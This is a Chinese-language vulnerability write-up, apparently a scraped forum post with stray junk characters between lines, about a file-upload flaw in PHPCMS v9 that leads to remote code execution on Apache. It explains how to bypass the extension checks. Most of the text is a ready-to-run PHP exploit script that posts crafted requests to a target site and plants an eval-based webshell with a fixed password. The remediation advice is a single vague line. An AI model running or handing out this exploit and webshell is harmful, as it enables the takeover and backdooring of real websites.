漏洞类型: 文件上传导致任意代码执行
& Z( C6 ?9 V# N) y% u
9 G- |. _, }$ ?8 r* Q简要描述:( @) H% o' l+ \& ?+ O) G
; N$ N# L. I# Nphpcms v9 getshell (apache)
! U$ O& e8 p7 v: N详细说明:
+ r1 m _- Q H6 R7 n; f, H
- u; T- G P3 ]$ J0 ~漏洞文件:phpcms\modules\attachment\attachments.php$ p% o3 S+ p! `* T, g
9 s. [. u' s1 M E5 j8 M2 ipublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
" k& m0 k: R/ ~# |& u1 b+ x7 p后缀检测:phpcms\modules\attachment\functions\global.func.php- Q( v j8 N- m9 e' _1 W; \
5 i' f; ^: ^' J- i. R+ Y3 Z. v2 C
; T, S$ G+ a0 p2 J$ z3 c8 P- H# v+ {+ P
) Y5 \6 r5 p _% j0 ~function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 0 \) y. ]8 \% l: S, F% s
6 a8 a2 c+ z2 o9 @, ]
关键函数:1 I) _, `+ V; n1 v
# r0 H# ^) _& K2 d G
' @ {3 K: _. F
1 R9 F: F' ~* K0 O- D- }function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
: y+ Y! e5 m& N
* T* a: h) s! H Fileext函数是对文件后缀名的提取。
{9 z2 N. _; C+ ~% n0 _2 t6 t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
) z# v+ R+ N/ I经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
* w; E! X/ E" X3 v我们回到public function crop_upload() 函数中: ]2 T! l3 d& q) F5 T4 |" b
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();. b; Z! S6 _6 _; c
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
; p7 _4 X/ t% n* N3 a; z6 R这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
! `. b3 D. L7 y经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。% I$ E& ^+ e# o- `# q
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
# S& ^3 G. O8 e% j. z6 z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。; m2 Z) d2 J' c; X! m8 m
漏洞证明:
, X: ]" m( ?5 V. C8 p* M3 A6 I" ]8 ]1 {) s/ n3 {6 s
exp:, A/ Z7 H' _' i# M
! \" c v9 U) d8 ~<?php9 n* i. L9 k% y. _
error_reporting(E_ERROR);- ]0 x: v5 \6 ~9 y! {
set_time_limit(0);
7 R' K( h1 O9 y0 u: i$pass="ln";
, ?$ t& ^6 j5 O- xprint_r('# V# B b. q1 `" d7 U
+---------------------------------------------------------------------------+% a6 H: @( l0 G9 e# L4 S/ `" r
PHPCms V9 GETSHELL 0DAY : s4 W L9 O( V. M& J! u
code by L.N.0 T9 {1 S3 F J8 G' C" D" {% g
$ e+ B% M1 c+ I1 h) F
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net" L0 o" u0 [. C7 H8 x
+---------------------------------------------------------------------------+7 h- G+ W& U9 q9 ~2 a" ^
');
; t6 @3 s4 c! A" Q) a/ W6 sif ($argc < 2) {7 R9 z/ e& ?5 I- a9 S8 m0 g
print_r('
$ l; O7 w; x; [! V( e# @4 O+---------------------------------------------------------------------------+
* C c' O0 V- ]2 c* l* P KUsage: php '.$argv[0].' url path
4 [& [$ P1 d6 ^) Z& H. f- _) k4 n5 f; |0 {4 p0 R: `
Example:
( j/ W6 Y7 a0 }1 n1.php '.$argv[0].' lanu.sinaapp.com: ^' J( e; B6 z7 P
2.php '.$argv[0].' lanu.sinaapp.com /phpcms# P" ^, |( T. E6 P% l
+---------------------------------------------------------------------------+2 ^& r% o" m" p+ q) v
');
3 A5 W/ T; a' W, T6 J( d9 Iexit;9 G2 R p; r4 l2 l
}% |4 Y. c; S- n+ K
0 \( `0 N+ o8 c% X O4 h# E$url = $argv[1];% t" x# k0 H, R7 r- L
$path = $argv[2];
0 q y, b7 {- O) p( F* R$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
' F1 T6 s4 M: f/ m1 V$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
7 f% s9 K) |# @; [2 n0 u7 Vif($ret=Create_dir($url,$path))( C3 w# l- |0 y9 T) `9 I$ `- d9 u- L
{; \! R) z/ W: M" P! m2 e% U
//echo $ret;& m8 |- o5 y( c: |; g1 D) a
$pattern = "|Server:[^,]+?|U";1 \# u) I$ U C4 g4 O7 ~
preg_match_all($pattern, $ret, $matches);
4 x+ Z: r4 L9 h/ ]; x1 nif($matches[0][0])! M2 I$ _0 X0 d/ F# W# j
{
: ^! U8 a e/ ?' xif(strpos($matches[0][0],'Apache') == false)# N8 t c. ^# W8 p. F- I
{& c9 T2 ]# H# X, M
echo "\n亲!此网站不是apache的网站。\n";exit;
( q! N. |2 W1 \. I* }$ C}- S! W. M+ c2 [. h7 E+ L4 M
}) e9 P: ^5 H' V K5 w
$ret = GetShell($url,$phpshell,$path,$file);
0 w/ U; V8 {6 a& ?9 S# A$pattern = "|http:\/\/[^,]+?\.,?|U";/ l' X1 Y4 N8 }
preg_match_all($pattern, $ret, $matches);
$ Q/ r$ o( E3 P: rif($matches[0][0])
$ o8 r) g. U% _- M& i2 {5 A3 j) S2 S, M{
9 ~" M: E- [3 T' j' M6 Gecho "\n".'密码为: '.$pass."\n";
* r3 e3 C" P( P& z0 P7 W6 fecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 g. c( {! J- T# T}- U; [9 h+ k+ h4 n( v( v7 G6 I
else. x' o0 Y5 G: w k" N
{
+ N, q$ v' V p! y6 K% ]3 P$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
- h- y' ^; j; U6 |) O# @preg_match_all($pattern, $ret, $matches);- h8 m: X1 I' I, i1 q
if($matches[0][0])! d, m- g$ M1 u: S P C- ]+ Q
{0 h6 t: Z% a0 A) G0 ?% i( Y; h1 z! S
echo "\n".'密码为: '.$pass."\n";
# _# a4 ]" }5 T+ p2 G4 R& ?; xecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit; s& `$ k Q Y6 ?- `2 u
}$ S! t* W* v8 u& X4 J+ x+ R& I
else
# r W( s5 h# K* M }{. b; s( h8 y5 W' J/ o3 I# @% b# Y7 ?% t
echo "\r\n没得到!\n";exit;
% g; e- k% P/ n0 [}
0 T) W% R) _( T' ^}; V" c2 O' A( W) N
}5 w0 w6 P+ `: W6 M' Y' c
2 R: y- d/ v) T
function GetShell($url,$shell,$path,$js)
) ~& c8 a; a+ a& p9 l, o{0 t7 C# x9 z7 ^0 y/ q. f
$content =$shell;/ o0 }3 Z6 n; H1 \% Z4 g Q
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";8 T. s' ? J# l) i1 z
$data .= "Host: ".$url."\r\n";
D- _$ N9 g) \. C5 y, ^, P: a( H$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";" R+ [( x( Q$ [1 A/ ]6 t- L
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";; _$ X" m$ j* X
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; H. u8 F7 d6 z) K: b' J' c$data .= "Connection: close\r\n";8 @* O2 i; D4 G! p6 i/ V
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";. @& Z1 w6 @) N4 _* b( w; X
$data .= $content."\r\n";
6 Q* A/ u% _: s4 \$ock=fsockopen($url,80);
7 K1 [8 J9 @; \# n# ~5 xif (!$ock)
( H$ `" ]$ w9 u f! E5 r" f{
2 z' n! f- l* E) Jecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 K' I0 r' v8 v4 L% I}" B) ^1 ?, {% ^% t
else" R; p' `( @! k& m3 T4 c+ W& S2 b5 K% {
{
! e; L: e4 c, q) mfwrite($ock,$data);
% c' W* I0 Y. c1 s9 R; S$resp = '';
9 K# Y1 l. p1 ~4 Iwhile (!feof($ock))! ^ P- q( d( x
{
& A3 c4 H. L6 i$resp.=fread($ock, 1024);
! ?1 q# `* ~9 r5 e* ^7 M1 w. I}+ n! Q2 c0 x; p
return $resp;/ v- T% z2 C$ u( ~6 Q( o
}
* K' M1 l0 F' r, P2 s}; m0 c5 L U8 S0 Y' m! x9 y
6 f) Y0 `* H# K! x2 X% W/ `) c
function Create_dir($url,$path='')# q3 J* u& E5 Y. _' |) |
{
- z6 n' ~3 F" ~, ~$content ='I love you'; E( Q6 b5 }( `* ^+ T/ f
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" L) f0 L- W$ [8 I5 u( H4 T$data .= "Host: ".$url."\r\n";
7 g8 z- J8 b, Y, z+ G$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 g: I, g3 w$ s0 X$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
n' A" [8 t0 a* p T$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ R" ]" C7 j8 H* i$data .= "Connection: close\r\n";
7 m1 _5 Y) O# v3 Z: U$data .= "Content-Length: ".strlen($content)."\r\n\r\n";1 j, u7 K2 m2 j, Q1 [
$data .= $content."\r\n";
( U. U2 M F6 Z! k( ^2 O) r% \% P$ock=fsockopen($url,80);
0 C7 v0 y8 }, ^) F4 ?) v0 `if (!$ock) S* G; K/ a+ c1 E3 A' v M l9 e
{- W3 d' t' V) v5 a' x% I% h0 Y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& u- d+ H! L) A
}; @5 t6 e- v1 J2 E
fwrite($ock,$data);
. q1 l2 ?/ U+ A) ]7 F6 D$resp = '';; M. s% \6 P* x4 G3 }
while (!feof($ock))$ q3 I/ z8 H5 {
{
) }8 `3 {: u+ _$ }, l$resp.=fread($ock, 1024);$ I( h# ?& ~' q
}& c- H7 m9 _: y( g7 ~9 J3 D
return $resp;
! A, `# h1 Q1 I/ h7 _}8 D R0 k8 R5 r, K+ s
?>
+ i# u* s+ Z' a! m/ n( f' J * Z9 x2 @( L3 G0 d( w
修复方案:( W$ P' j/ e' w. Z1 E
7 o: T' t6 K8 a0 Y+ w6 k过滤过滤再过滤3 y: {9 g0 o* H- K4 L
) g$ i* V8 t# O9 C( L5 f; c6 w2 h |